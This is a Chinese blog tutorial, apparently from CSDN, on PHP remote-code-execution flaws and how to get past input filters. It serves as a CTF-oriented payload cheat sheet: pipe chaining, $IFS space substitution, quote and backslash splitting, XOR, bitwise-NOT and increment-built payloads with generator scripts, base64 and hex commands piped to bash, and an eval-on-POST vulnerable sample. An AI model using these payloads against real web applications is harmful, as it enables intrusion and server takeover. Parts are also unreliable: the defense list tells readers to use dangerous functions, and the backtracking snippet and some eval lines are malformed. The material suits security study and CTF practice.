RCE漏洞详解及绕过总结(全面)

本文详细介绍了远程代码执行(RCE)漏洞,包括常见系统命令和代码执行函数,如`system()`和`eval()`,并列举了多种绕过过滤的方法,如管道符、空格替代和编码绕过。此外,文章强调了RCE漏洞的危害,如权限提升和服务器控制,并提出了过滤输入和避免使用危险函数等防护措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏Web漏洞篇

今日鸡汤只有承担起旅途风雨,最终才能守得住彩虹满天

目录

一、rce漏洞概述

二、常见RCE漏洞函数

1.系统命令执行函数

2.代码执行函数

二、RCE绕过

管道符

空格过滤

反斜杠\绕过

取反绕过

异或绕过

自增绕过

黑名单绕过

base和hex编码绕过

正则匹配绕过

引号绕过

cat替换命令

回溯绕过

无回显RCE

无参数RCE

无字母数字RCE

三、RCE漏洞危害

四、RCE漏洞防护


一、rce漏洞概述

        在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见RCE漏洞函数

1.系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

二、RCE绕过

管道符

管道符实例描述
;A;B无论真假,A与B都执行
&A&B无论真假,A与B都执行
&&A&&BA为真时才执行B,否则只执行A
|A|B显示B的执行结果
||A||BA为假时才执行B,否则只执行A

空格过滤

以下可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,/flag}

反斜杠\绕过

//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /

取反绕过

//取反传参
<?php

$a = "system";
$b = "cat /flag";

$c = urlencode(~$a);
$d = urlencode(~$b);

//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

异或绕过

# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = input('输入异或构造的字符串:')

tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break

print(f'"{tmp1}"^"{tmp2}"')

//异或php脚本

<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
    echo '%ff';
?>

//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);


//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"

mess=$_="0302181"^"@[@[_^^";$_();

自增绕过

//自增payload,assert($_POST[_]),命令传入_

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

黑名单绕过

//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b

//读取根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag



//等效于打开ls目录下的文件
cat `ls`

//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可

//php标签绕过
?><?= phpinfo(); ?>

base和hex编码绕过

//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)

//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash

//shellcode编码
//十六进制编码

正则匹配绕过

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

引号绕过

//如cat、ls被过滤
ca""t /flag
l's' /

cat替换命令

morelesscattac
headtailvivim
nlodsortuniq
tac与cat相反,按行反向输出
more按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less与more类似
tail查看文件末几行
head查看文件首几行
nl在cat查看文件的基础上显示行号
od以二进制方式读文件,od -A d -c /flag转人可读字符
xxd以二进制方式读文件,同时有可读字符显示
sort排序文件
uniq报告或删除文件的重复行
file -f报错文件内容
grep过滤查找字符串,grep flag /flag

回溯绕过

//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

无回显RCE

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

无参数RCE

        利用getallheaders()、get_defined_vars()、session_id等;

无字母数字RCE

        异或、取反、自增、临时文件上传;

三、RCE漏洞危害

        ①继承Web服务器程序权限,去执行系统命令;

        ②继承Web服务器权限,读写文件;

        ③反弹shell;

        ④控制整个网站甚至是服务器;

四、RCE漏洞防护

        ①对用户的输入作严格的过滤,如白名单策略;

        ②尽量使用容易产生漏洞的危险函数;

        ③保证用户不用控制危险函数的传参;

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值